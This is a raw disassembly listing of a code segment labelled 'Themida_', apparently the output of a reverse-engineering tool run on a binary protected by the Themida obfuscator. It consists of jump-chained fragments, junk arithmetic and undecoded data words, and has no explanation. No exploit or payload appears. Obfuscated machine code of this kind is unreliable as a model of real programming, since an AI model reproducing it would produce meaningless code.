6DC6E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512096: ; CODE XREF: Themida_:00517134j shr ebx, 3 jmp loc_50EC6C ; --------------------------------------------------------------------------- dw 0C181h dd 6952519Bh, 0E1D1D1F7h, 0F181D1F7h, 0D0D6939h, 0B948E981h dd 0C6813FD9h, 27DB6681h, 0EE81CE01h, 27DB6681h, 0FF1D30E9h dd 4C483FFh, 4C781h, 56680000h, 8900004Fh, 2BE2434h, 81000000h dd 0EF5A28C7h, 57BE563Ch, 1146329h, 4D0DE9F7h, 48F0000h dd 0CE55E924h, 0E689FFFFh, 0FF8ECDE9h, 1A392DFFh, 0C8015672h dd 721A3905h, 0D0F75956h, 2D05E0C1h, 1, 2E0C148h, 0FF7081E9h db 0FFh ; --------------------------------------------------------------------------- loc_512121: ; CODE XREF: Themida_:0050887Bj add esp, 4 push edx jmp loc_50C0D1 ; --------------------------------------------------------------------------- loc_51212D: ; CODE XREF: Themida_:005053A8j push edi jmp loc_504B95 ; --------------------------------------------------------------------------- loc_512133: ; CODE XREF: Themida_:00516D4Bj push ebp jmp loc_50997B ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FFE5D2E9h, 5FEA81FFh dd 174B46Dh, 5FC281FAh, 5574B46Dh, 0FA6DF0BDh, 0E9EA2936h dd 0FFFFE000h ; --------------------------------------------------------------------------- loc_51216C: ; CODE XREF: Themida_:005112BEj mov eax, ebx pop ebx jmp loc_5154E8 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E0BA2414h, 0C149F351h, 0F28105E2h, 1C5A3C59h dd 1553F281h, 0F2815832h, 8187A0D3h, 895AD701h, 2434FFFDh dd 0E9243C8Bh, 25FDh, 83240489h, 0E95404ECh, 0FFFF5EFEh ; --------------------------------------------------------------------------- loc_5121B0: ; CODE XREF: Themida_:0050380Cj push edi sub esp, 4 mov [esp], eax mov eax, 7BC516F3h and eax, 0FDF1495h not eax sub eax, 0DE94DE07h mov edi, eax pop eax push edi jmp loc_5085D0 ; --------------------------------------------------------------------------- loc_5121D1: ; CODE XREF: Themida_:00503409j sub ecx, 41E808CDh sub ecx, 36F869E3h add ecx, edi add ecx, 36F869E3h push eax mov eax, 10ED5E91h jmp loc_50611F ; --------------------------------------------------------------------------- dd 0E9F9015Eh, 0FFFF3AEDh, 0FF08CEE9h, 37B850FFh, 0E91B8D6Fh dd 0FFFF3800h, 6653555Ah, 0E9613DBBh, 3C62h ; --------------------------------------------------------------------------- loc_512214: ; CODE XREF: Themida_:00509AC7j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] mov eax, [esp] push ebx mov ebx, esp sub esp, 4 mov [esp], edi jmp loc_50A86A ; --------------------------------------------------------------------------- db 0B7h, 1Ah, 0 dd 3B06E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51223E: ; CODE XREF: Themida_:0050C5A8j mov esp, [esp] add esp, 4 push ebp jmp loc_50BB95 ; --------------------------------------------------------------------------- dw 0D501h dd 0FF5FBEE9h, 14F766FFh, 0C8B6624h, 2C48124h, 0E9000000h dd 0FFFFF7F7h, 1BB05053h, 0C30051B3h, 0EDEEE958h, 34FFFFFFh dd 2434FF24h, 4C4815Bh, 83000000h, 48F04C4h, 0BF575C24h dd 4, 835FFD01h, 2C8702C5h, 1C24E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51229A: ; CODE XREF: Themida_:00509994j add ebp, 0E555F659h add edx, ebp pop ebp sub ebx, 369C294Eh sub ebx, edx push esi mov esi, 7E60041Fh sub esi, 4ECC7596h shr esi, 3 add esi, 30A9B77Dh add ebx, esi mov esi, [esp] jmp loc_5038DB ; --------------------------------------------------------------------------- dw 0C083h dd 24043304h, 3046E9h, 0E6895600h, 4C681h, 0C6830000h dd 24343304h, 33243431h, 815C2434h, 4ECh, 241C8900h, 42474FFh dd 0E9241C8Bh, 0FFFF0A52h, 0CC26E95Ah, 0CE81FFFFh, 7DFE5160h dd 0FF79A6E9h, 6858FFh, 81000000h, 6C88242Ch, 342910E3h dd 24048124h, 10E36C88h, 0E924348Bh, 147h ; --------------------------------------------------------------------------- loc_512330: ; CODE XREF: Themida_:0050B6F3j mov eax, esp add eax, 4 push 7D79h mov [esp], ebx mov ebx, 4 add eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub [esp], eax push ebx push 26311642h pop ebx jmp loc_50AE6E ; --------------------------------------------------------------------------- dd 5C241487h, 0FF1984E9h db 0FFh ; --------------------------------------------------------------------------- loc_512369: ; CODE XREF: Themida_:00516FBCj push 0CC3h jmp loc_504E86 ; --------------------------------------------------------------------------- loc_512373: ; CODE XREF: Themida_:00514DA8j mov [esp], eax push ebx mov ebx, 12620E01h mov eax, ebx pop ebx push eax mov eax, 40B20806h xor eax, 57840FD4h neg eax sub eax, 2A7A25DFh inc eax push ebp mov ebp, 7A2E98AFh add eax, ebp pop ebp mov ebp, eax pop eax sub ebp, 0B3B36B8h add ebp, eax jmp loc_5119A2 ; --------------------------------------------------------------------------- db 52h dd 0F588C688h, 59EE885Ah, 8324048Bh, 0C8B04C4h, 5ECE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5123C2: ; CODE XREF: Themida_:00506876j push 1986h mov [esp], esi mov esi, esp add esi, 4 push edi push ecx mov ecx, 57DE4B2Eh mov edi, ecx pop ecx push 6FEAh mov [esp], ebx jmp loc_514BBB ; --------------------------------------------------------------------------- byte_5123E9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502A14o aQhq db '$Qhï',7,0 dw 8900h dd 50552424h, 4B8h, 0AA4AE900h, 0C4E9FFFFh, 5BFFFF06h dd 8EDC166h, 66DDF766h, 377ECD81h, 0FFB303E9h db 0FFh ; --------------------------------------------------------------------------- loc_512419: ; CODE XREF: Themida_:00504467j push 5FEFh mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_50610A ; --------------------------------------------------------------------------- db 66h, 89h, 14h dd 421B224h, 66D000B7h, 28B7B353h, 1C8B66D8h, 2C48324h dd 4337E9h, 0D0315B00h, 25EF815Ah, 29331933h, 25C781C7h dd 0E9331933h, 0FFFF73EAh, 3DFC68h, 24148900h, 0AFE90AB6h dd 51FFFFC4h, 0ACE9E189h, 89FFFFCEh, 24348BF7h, 5104C483h dd 0FF897CE9h db 0FFh ; --------------------------------------------------------------------------- loc_51248D: ; CODE XREF: Themida_:0050819Dj add edx, 0ED83CB6h add edx, eax sub edx, 0ED83CB6h push ecx mov ecx, 60455969h sub edx, ecx pop ecx jmp loc_502ACB ; --------------------------------------------------------------------------- db 88h, 0EFh, 59h dd 0EC80CEB4h, 125CE965h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5124B6: ; CODE XREF: Themida_:00511227j add ebp, edx sub ebp, 132D3D55h mov edx, [esp] sub esp, 4 jmp loc_51750F ; --------------------------------------------------------------------------- dd 0E95DE889h, 0FFFF5BB4h ; --------------------------------------------------------------------------- loc_5124D4: ; CODE XREF: Themida_:005108E6j push ecx mov cl, 0DEh push ebx mov bl, 0F3h mov al, bl pop ebx sub al, cl mov ecx, [esp] add esp, 4 mov dh, 0C2h xor dh, al jmp loc_50A875 ; --------------------------------------------------------------------------- db 0BBh, 3Ch, 0A6h dd 0DE31BCBAh, 0FF3D78E9h, 268FFh, 34FF0000h, 0E9565924h dd 0FFFFCCD9h, 1E9D830h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512513: ; CODE XREF: Themida_:00512D64j xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, esp push ebp jmp loc_517855 ; --------------------------------------------------------------------------- loc_51253B: ; CODE XREF: Themida_:0050A13Dj pop esi jmp loc_509398 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BE243489h, 4B7E751Fh, 44BBEE81h, 0D6F70BB1h, 3C97B951h dd 9FE97CA3h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51255F: ; CODE XREF: Themida_:0050AB57j add esp, 2 xor al, cl mov ecx, [esp] push ebp mov ebp, esp push 5F3Eh mov [esp], edx mov edx, 4 jmp loc_511221 ; --------------------------------------------------------------------------- db 0BFh dd 74067BE5h, 2DFC8CB9h, 5FF901E4h, 5098B9BAh, 355BE91Bh dd 0DA010000h, 242C8B5Bh, 4C481h, 14330000h, 24143124h dd 8B241433h, 4302424h, 14E99C24h, 89FFFF05h, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 0FF3662E9h, 4EC780FFh, 0E95BFD30h dd 0FFFFF421h, 5F2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_513522 ; --------------------------------------------------------------------------- loc_5125E4: ; CODE XREF: Themida_:0051350Aj mov edx, 1 jmp loc_50E4FD ; --------------------------------------------------------------------------- loc_5125EE: ; CODE XREF: Themida_:00507F7Ej push dword ptr [esp] pop ecx jmp loc_5135E6 ; --------------------------------------------------------------------------- loc_5125F7: ; CODE XREF: Themida_:0050D087j add ebp, ecx pop ecx jmp loc_50C04A ; --------------------------------------------------------------------------- db 1 dd 4EC83D8h, 0BD242C89h, 2F731130h, 0FFD680E9h, 0F5C181FFh dd 293C001Ah, 0F5E981C1h, 583C001Ah, 34FFCD31h, 39C9E924h dd 8150FFFFh, 4ECh, 241C8900h, 0D868D388h, 8900003Bh, 0DE882414h dd 148BF488h, 4C48324h, 58E7885Bh, 8124148Bh, 4C4h, 37C6E900h dd 0C481FFFFh, 4, 0FF1867E9h, 4C483FFh, 0FF5D20E9h db 0FFh ; --------------------------------------------------------------------------- loc_51266D: ; CODE XREF: Themida_:00511931j pop ebp sub ecx, 575DFC9Fh add ecx, 0E4FEF9A0h add ebp, ecx jmp loc_514037 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 1Ch dd 58000016h, 58276852h, 0E95A2B12h, 0FFFFCBD5h ; --------------------------------------------------------------------------- loc_512694: ; CODE XREF: Themida_:00506601j pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ecx not dword ptr [esp] pop ecx not ecx sub ecx, 6EA34B5h mov edi, ecx pop ecx add edx, edi pop edi jmp loc_511190 ; --------------------------------------------------------------------------- loc_5126C0: ; CODE XREF: Themida_:00511D17j pop esi sub edx, ebp pop ebp add edx, 6BE3319Dh push ebp mov ebp, 326B6299h and ebp, 2CCE26B2h add ebp, 7CCA5D6Ch jmp loc_50625A ; --------------------------------------------------------------------------- loc_5126E1: ; CODE XREF: Themida_:0050EFFCj push edi jmp loc_5065F8 ; --------------------------------------------------------------------------- db 50h dd 0D4576D68h, 0FF2D583Bh, 35FFFFFFh, 3BD4576Ah, 8158C389h dd 3F14B2EAh, 0B40EE906h, 0C731FFFFh, 14F75758h, 0C7815F24h dd 59E529B6h, 0FFCEDBE9h, 4EB83FFh, 5C241C87h, 68240489h dd 6A8D0DC4h, 5224048Bh, 0C2815A54h, 4, 8704C283h, 55C2414h dd 0E0E7FD50h, 5558C289h, 0FFA546E9h, 0E95551FFh, 0FFFF7519h ; --------------------------------------------------------------------------- loc_512750: ; CODE XREF: Themida_:005084B2j pop esp jmp loc_506E1D ; --------------------------------------------------------------------------- dw 5866h dd 0C380C328h, 0CE9584Ch, 55FFFFAFh, 6E046857h, 505F70D4h dd 0AA7763B8h, 6B46E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512776: ; CODE XREF: Themida_:00513284j add eax, esi mov esi, [esp] add esp, 4 add eax, 3E1923FCh jmp loc_508439 ; --------------------------------------------------------------------------- dd 0EEEA8166h, 0D02966CEh, 0FFD06DE9h, 56762DFFh, 565B3B0Bh dd 5E64ADBEh, 0E9F0317Ah, 0FFFF53EAh dword_5127A8 dd 24048B66h, 2034E9h, 0E3895300h, 4B850h, 0EB810000h ; DATA XREF: Themida_:005029F0o dd 228726ECh, 0C381C301h, 228726ECh, 4C38358h, 8904EC83h dd 74FF241Ch, 8F5B0424h, 0F3E92404h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5127DF: ; CODE XREF: Themida_:0050E387j push 122B5919h pop ecx add ecx, 0EDD4A6EBh sub edx, 6BCD5128h add edx, ecx add edx, 6BCD5128h jmp loc_509D4E ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 3F93E9h db 0 ; --------------------------------------------------------------------------- loc_512809: ; CODE XREF: Themida_:00504A5Cj shr ebx, 5 shl ebx, 7 xor ebx, 38F6AD35h mov ecx, 0CB14D845h sub ecx, ebx pop ebx not ecx add ecx, 852DB2E7h xor esi, ecx pop ecx or esi, 70805F1Ch push edi push eax mov eax, 884D8067h jmp loc_516055 ; --------------------------------------------------------------------------- loc_51283A: ; CODE XREF: Themida_:0050AAD7j mov [esp], ebx push 5F0Dh jmp loc_508C7A ; --------------------------------------------------------------------------- db 29h dd 3175E9F7h, 0E9530000h, 0FFFFE9AAh, 4C681h, 34330000h dd 24343124h, 0FF353CE9h db 0FFh ; --------------------------------------------------------------------------- loc_512865: ; CODE XREF: Themida_:00511DA3j pop ebx sub esp, 4 mov [esp], ecx jmp loc_5108A0 ; --------------------------------------------------------------------------- loc_512874: ; CODE XREF: Themida_:005086B4j push eax mov eax, 5D546B00h jmp loc_50AC69 ; --------------------------------------------------------------------------- db 5Fh dd 0C105E0C1h, 0BB5305E8h, 254D3B95h, 5008EBC1h, 0C5D62BB8h dd 0E9C30107h, 0FFFFB72Bh ; --------------------------------------------------------------------------- loc_51289C: ; CODE XREF: Themida_:0050D717j xchg esi, [esp] pop esp jmp loc_51526E ; --------------------------------------------------------------------------- db 0E9h, 21h, 2 dd 0DE31FFFFh, 0E9F1295Bh, 0FFFFF93Ch, 4C381h, 0C3810000h dd 4, 1B00E9h, 4C28100h, 81000000h, 4C2h, 24148700h, 3B84E95Ch dd 0BE560000h, 649C630Ch, 15EF329h, 0CC381F3h, 8B649C63h dd 0C4812434h, 4, 31241C33h, 1C33241Ch, 4C36E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_512902: ; CODE XREF: Themida_:0050BB77j push ebx push ebx jmp loc_505066 ; --------------------------------------------------------------------------- loc_512909: ; CODE XREF: Themida_:0050E49Fj xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_50B446 ; --------------------------------------------------------------------------- dd 8704E883h, 6EE92404h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512923: ; CODE XREF: Themida_:0051034Bj sub esp, 4 jmp loc_502B49 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 3302EE83h, 21E92434h, 5DFFFFC2h, 4C481h, 1D680000h dd 89000073h, 0E9552404h, 0FFFFF35Ah, 246C8166h, 66762702h dd 0E9240C8Bh, 0FFFF9008h ; --------------------------------------------------------------------------- loc_512964: ; CODE XREF: Themida_:0050FD20j add eax, 4 add eax, 4 jmp loc_5159F0 ; --------------------------------------------------------------------------- loc_512971: ; CODE XREF: Themida_:00505D94j mov [esp], ebx mov ebx, 3F7A0F09h xor esi, ebx mov ebx, [esp] add esp, 4 and eax, esi mov esi, [esp] add esp, 4 jmp loc_505599 ; --------------------------------------------------------------------------- db 0E9h, 35h, 1 dd 0C89FFFFh, 1691B924h, 0A6BE497Dh, 0E9EF385Dh, 0FFFF8FA9h dd 0ED8AE95Ah, 0C481FFFFh, 4, 0F564E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5129BA: ; CODE XREF: Themida_:005136D2j mov [esp], ecx mov ecx, esp jmp loc_512AD2 ; --------------------------------------------------------------------------- dd 89242C89h, 4EC81E5h, 89000000h, 4CBE2434h, 503F9068h dd 651592B8h, 34C9E914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5129E2: ; CODE XREF: Themida_:00516B5Fj sub eax, 61B96FB9h push edi push eax push edi mov edi, 27A44B41h push 6274h mov [esp], eax mov eax, 44E6BA53h add edi, eax pop eax push edi sub dword ptr [esp], 67BB3C9Ch pop eax add eax, 67BB3C9Ch pop edi shr eax, 5 xor eax, 2AA85E1Ch jmp loc_50AEFC ; --------------------------------------------------------------------------- loc_512A1B: ; CODE XREF: Themida_:00512BB1j mov [esp], ebp mov ebp, esp push esi mov esi, 2A8514E0h jmp loc_5089E1 ; --------------------------------------------------------------------------- db 52h dd 0FF08BEE9h, 53C2FEFFh, 0FF474CE9h db 0FFh ; --------------------------------------------------------------------------- loc_512A39: ; CODE XREF: Themida_:00517B14j add esi, 4 add esi, 4 jmp loc_5108CC ; --------------------------------------------------------------------------- loc_512A4A: ; CODE XREF: Themida_:0050AA3Cj mov eax, 10AC4EAEh jmp loc_509A25 ; --------------------------------------------------------------------------- loc_512A54: ; CODE XREF: Themida_:00503EA9j push dword ptr [esp] push dword ptr [esp] jmp loc_509A16 ; --------------------------------------------------------------------------- db 5Fh dd 8704C583h, 248B242Ch, 41B96824h, 1C890000h, 1C8B5424h dd 4C48324h, 0FF4543E9h, 4C383FFh, 5C241C87h, 4C481h, 9D610000h dd 4E70E9h db 0 ; --------------------------------------------------------------------------- loc_512A91: ; CODE XREF: Themida_:00516046j xchg esi, [esp] pop esp jmp loc_5045EF ; --------------------------------------------------------------------------- dw 8166h dd 0E9C342C5h, 44F3h, 5B67512Dh, 51F80169h, 5B6751B9h dd 0B69BE969h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512AB6: ; CODE XREF: Themida_:005143EEj add eax, 56DD3279h add eax, 67CA690Eh add eax, 1D2D4B47h mov esi, [esp] jmp loc_513DCA ; --------------------------------------------------------------------------- loc_512ACD: ; CODE XREF: Themida_:00517AAEj jmp loc_502ACB ; --------------------------------------------------------------------------- loc_512AD2: ; CODE XREF: Themida_:005129BFj add ecx, 4 push esi mov esi, 4 jmp loc_5132B2 ; --------------------------------------------------------------------------- db 53h dd 7657B5BBh, 8BD9213Ah, 0C481241Ch, 4, 78BE5655h, 813B145Fh dd 0A26702F6h, 0A1E3E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512B06: ; CODE XREF: Themida_:00508162j push esp jmp loc_515C31 ; --------------------------------------------------------------------------- dd 4074355Ah, 0C58959FBh, 0FFB123E9h, 92F381FFh, 0E90FD902h dd 0FFFFD75Dh, 89240489h, 405E0h, 14E90000h, 81FFFFDCh dd 0FE39F7CEh, 6E6C155h, 0FF2DFCE9h, 243C87FFh, 8924248Bh dd 0E389241Ch, 4BF57h, 0FB010000h, 4C3835Fh, 2474FF53h dd 0A3B7E904h, 0C481FFFFh, 4, 34FF5453h, 241C8B24h, 4C481h dd 0C4810000h, 4, 0FF1F7BE9h, 24248BFFh, 0E924048Fh, 0AD8h ; --------------------------------------------------------------------------- loc_512B8C: ; CODE XREF: Themida_:00517730j neg edi inc edi inc edi jmp loc_504225 ; --------------------------------------------------------------------------- loc_512B95: ; CODE XREF: Themida_:00503F34j push ebx mov ebx, 800h mov eax, ebx jmp loc_50CC5C ; --------------------------------------------------------------------------- loc_512BA2: ; CODE XREF: Themida_:0050DC93j mov ecx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 jmp loc_512A1B ; --------------------------------------------------------------------------- loc_512BB6: ; CODE XREF: Themida_:00512F7Bj push dword ptr [esp+4] jmp loc_503D86 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 8B24048Fh, 0FF662424h, 0E99C240Ch, 0FFFEFEF7h dd 405h, 40500h, 4870000h, 24248B24h, 5C241487h, 81240489h dd 51E5242Ch, 478F7D5Dh, 40478140h, 7D5D51E5h, 0E92434FFh dd 0FFFF8739h dword_512C04 dd 41D7E9ACh, 8B2DFFFFh, 0E977C170h, 0FFFFB4FAh ; DATA XREF: Themida_:00502A78o ; --------------------------------------------------------------------------- loc_512C14: ; CODE XREF: Themida_:0050D530j add eax, 8A7CE37Fh add ecx, eax pop eax push eax mov eax, 4 add ecx, eax pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] xor eax, 386D1D2Fh push dword ptr [esp] pop esi sub esp, 4 jmp loc_507AAA ; --------------------------------------------------------------------------- dw 0E281h dd 58343AE8h, 71BAF281h, 0F2813929h, 31096936h, 4DE9D001h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512C5B: ; CODE XREF: Themida_:00513516j pop ebx or eax, 5E5E1B45h inc eax sub eax, 7E5F7FB2h add eax, edi push edx mov edx, 6A9A4552h xchg ebp, edx dec ebp jmp loc_51785F ; --------------------------------------------------------------------------- db 89h dd 0CF88241Ch, 1877C88h, 0E9241C8Bh, 0FFFF92FCh ; --------------------------------------------------------------------------- loc_512C88: ; CODE XREF: Themida_:00507CA6j inc ebp shr ebp, 8 jmp loc_50FC79 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4C6h, 24348700h, 0BCE8E95Ch, 8952FFFFh, 4C281E2h dd 81000000h, 4EAh, 24148700h, 2434895Ch, 71685E54h, 8900005Bh dd 4B82404h, 1000000h, 24048BC6h, 0FF1891E9h, 190BBFFh dd 0DF0105B0h, 47CBE95Bh, 8951FFFFh, 4C181E1h, 81000000h dd 4C1h, 0DD6AE900h, 0E95AFFFFh, 0FFFF7B68h ; --------------------------------------------------------------------------- loc_512CFC: ; CODE XREF: Themida_:00503CE8j push 695Ch mov [esp], eax mov eax, 2E980ED4h jmp loc_50631E ; --------------------------------------------------------------------------- dw 0C581h dd 2C9114EDh, 56EC581h, 0E80157A6h, 4C0835Dh, 0FF2CEEE9h db 0FFh ; --------------------------------------------------------------------------- loc_512D25: ; CODE XREF: Themida_:00507C15j mov ebx, [esp] jmp loc_511F78 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0E9510000h, 0FFFFB373h, 0D387DA29h, 57F3815Ah dd 29B57BFEh, 7F3FE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512D4E: ; CODE XREF: Themida_:0050D997j push dword ptr [esp] mov esi, [esp] push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_512513 ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 98636FC7h, 2434FF10h, 0FF9620E9h db 0FFh ; --------------------------------------------------------------------------- loc_512D79: ; CODE XREF: Themida_:0050DD00j add ebx, 29924F1h mov edx, [esp] add esp, 4 jmp loc_51073A ; --------------------------------------------------------------------------- dw 2D68h dd 0E9000069h, 0FFFF75A2h ; --------------------------------------------------------------------------- loc_512D94: ; CODE XREF: Themida_:00503AD7j sub bh, 95h pop edx sub bh, ch sub bh, 26h add bh, 0E3h jmp loc_50E969 ; --------------------------------------------------------------------------- db 1, 0F3h, 5Eh dd 8B241C87h, 4012424h, 14E99C24h, 59FFFEFDh, 5C24048Fh dd 0FF2AB4E9h, 80E328FFh, 2E96DEBh, 58FFFF43h, 0A0E9C329h dd 2CFFFFEDh, 0E1CE99Bh, 0D7890000h, 0E2C1815Ah, 105C23Eh dd 0E2E981F9h, 0E905C23Eh, 0FFFF3093h ; --------------------------------------------------------------------------- loc_512DF0: ; CODE XREF: Themida_:005054DEj pop esp xor al, dh mov edx, [esp] jmp loc_50CB05 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 4EF2E9h db 0 byte_512E09 db 66h, 31h, 34h ; DATA XREF: Themida_:00502A00o dd 34336624h, 34316624h, 0BC686624h, 73ECE953h, 0C801FFFFh dd 24043359h, 33240431h, 14E92404h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512E2F: ; CODE XREF: Themida_:00504FFDj pop edi push 7767h jmp loc_511E1F ; --------------------------------------------------------------------------- dw 815Ch dd 4ECh, 240C8900h, 0EC81D188h, 4, 0FFFE26E9h db 0FFh ; --------------------------------------------------------------------------- loc_512E51: ; CODE XREF: Themida_:00508C13j pop edi and eax, ecx push dword ptr [esp] pop ecx push ebx jmp loc_505345 ; --------------------------------------------------------------------------- loc_512E5E: ; CODE XREF: Themida_:005158D4j push eax jmp loc_5171A7 ; --------------------------------------------------------------------------- aSc_0 db '^éæ%',0 align 2 loc_512E6A: ; CODE XREF: Themida_:00505E53j and eax, edx pop edx or eax, eax jz loc_50F184 push dword ptr [edi+28h] push ecx mov ecx, 5B897DADh xor [esp+4], ecx push dword ptr [esp] jmp loc_5066B3 ; --------------------------------------------------------------------------- dw 0B951h dd 0EB1449Eh, 0FFE909E9h, 240C8BFFh, 0FFB63BE9h, 32E953FFh dd 81FFFFFEh, 3E357BF3h, 8BD80102h, 0EC83241Ch, 24148904h dd 0C2815A54h, 4, 4D6FE9h, 7AE95100h, 81FFFFDAh, 4ECh dd 240C8900h, 366D95B9h, 7EC18144h, 0F71759DAh, 50E955D1h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512EE3: ; CODE XREF: Themida_:00503860j sub edx, 6907555h xor edx, 99B43C1Ah jmp loc_502F1F ; --------------------------------------------------------------------------- dd 5424248Bh, 5524048Fh, 0FF01E3E9h, 4C481FFh, 0E9000000h dd 4AB8h, 1408EA81h, 3C8B5629h, 4C48124h, 0E9000000h, 0FFFEFBABh dd 58E70859h, 0E901EF80h, 0FFFF29EFh ; --------------------------------------------------------------------------- loc_512F2C: ; CODE XREF: Themida_:0051690Bj push ebp push ebx mov ebx, 462A5092h xor ebx, 0C065D61h and ebx, 6D356497h not ebx sub ebx, 66F10E9h not ebx sub ebx, 0F370AC1Bh mov ebp, ebx pop ebx sub ebp, 0BDE04FBh jmp loc_50F4C7 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 8E95804h, 1FFFFA4h, 31FE2DE8h, 875D1DC9h, 0C9E92404h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512F77: ; CODE XREF: Themida_:00506909j sub ecx, 4 push ecx jmp loc_512BB6 ; --------------------------------------------------------------------------- loc_512F80: ; CODE XREF: Themida_:00508AA5j pop ebp neg eax sub eax, 5A293E19h inc eax push edi jmp loc_5089B7 ; --------------------------------------------------------------------------- loc_512F8F: ; CODE XREF: Themida_:0050A680j add edx, 4 jmp loc_508586 ; --------------------------------------------------------------------------- word_512F9A dw 34FFh ; DATA XREF: Themida_:005029CCo dd 2434FF24h, 0FF72B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_512FA5: ; CODE XREF: Themida_:005048F9j mov ebp, 4 add ebx, ebp pop ebp jmp loc_508774 ; --------------------------------------------------------------------------- dw 5051h dd 0B753FAB4h, 0C8CF80ADh, 0F780D7F6h, 5BFC003Ah, 0FE4BCC80h dd 15C480CCh, 1EEFE9h db 0 ; --------------------------------------------------------------------------- loc_512FD1: ; CODE XREF: Themida_:00516347j mov ebx, 7D955BFBh neg ebx xor ebx, 3C7E0133h sub ebx, 54DE9796h jmp loc_50A79A ; --------------------------------------------------------------------------- db 81h, 0C4h, 2 dd 0E9000000h, 35F4h, 5052CE29h, 8A1D5EB8h, 42F5354Ch dd 0F1E94A7Bh, 0B9FFFF5Dh, 0 dd 0AAE9D101h, 41000005h, 0FFFFE981h, 0BF57FFFFh, 4E944443h dd 0C15FF921h, 0C18104E1h, 1, 0B4DDE981h, 0C8010A1Fh, 0FF890BE9h dd 0C4835AFFh, 241C3304h, 33241C31h, 7FE9241Ch db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_51304B: ; CODE XREF: Themida_:0050422Dj mov eax, 49367C3Ch sub eax, 0F75956B2h add ecx, eax pop eax sub edi, 118D67FFh add edi, ecx add edi, 118D67FFh jmp loc_509538 ; --------------------------------------------------------------------------- db 5Ah dd 0FF9372E9h, 0ACCF81FFh, 81128E7Eh, 518001C7h, 5FF831A8h dd 48BC629h, 4C48124h, 87000000h, 4E92434h, 89000001h dd 4C781E7h, 81000000h, 2C7h, 243C8700h, 0FF08E95Ch, 0E189FFFFh dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BB241C89h, 215C790Ch dd 50D88950h, 2243481h, 5F5A9605h, 502F781h, 0FF585A96h dd 815B2434h, 4C4h, 5FF82900h, 0FF7621E9h, 38B168FFh, 14890000h dd 29B76824h, 7E90000h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5130FB: ; CODE XREF: Themida_:00503BD1j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebp mov ebp, esp jmp loc_50B1CD ; --------------------------------------------------------------------------- db 89h dd 6B69E9E9h, 0FF57FFFFh, 0FF042474h, 0E0E92434h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_513127: ; CODE XREF: Themida_:005159BEj add eax, 4 jmp loc_5141AB ; --------------------------------------------------------------------------- loc_513131: ; CODE XREF: Themida_:00504D9Ej push ecx mov cl, 9Ah not cl dec cl shr cl, 8 jmp loc_50CDA3 ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFF0608h, 5F2434FFh, 0FF3BFCE9h, 0EC8151FFh dd 4, 0B6241489h, 21EE8071h, 0F10082B1h, 59C8285Ah, 24148B66h dd 0FFFE78E9h, 52E681FFh, 0C1481D2Eh, 0C4E906EEh db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51317F: ; CODE XREF: Themida_:00514BC6j sub ebx, edi sub ebx, 7AD215CFh mov edi, ebx pop ebx push 3E83h mov [esp], ecx jmp loc_504AC1 ; --------------------------------------------------------------------------- db 8Bh dd 89662424h, 62E92404h db 3Fh, 2 dup(0) byte_5131A3 db 0ADh ; DATA XREF: Themida_:0050299Co dd 26034F2Dh, 52D80121h, 17BA6850h, 0E9581D6Eh, 0FFFF0D8Ch dd 64D068h, 241C8900h, 268h, 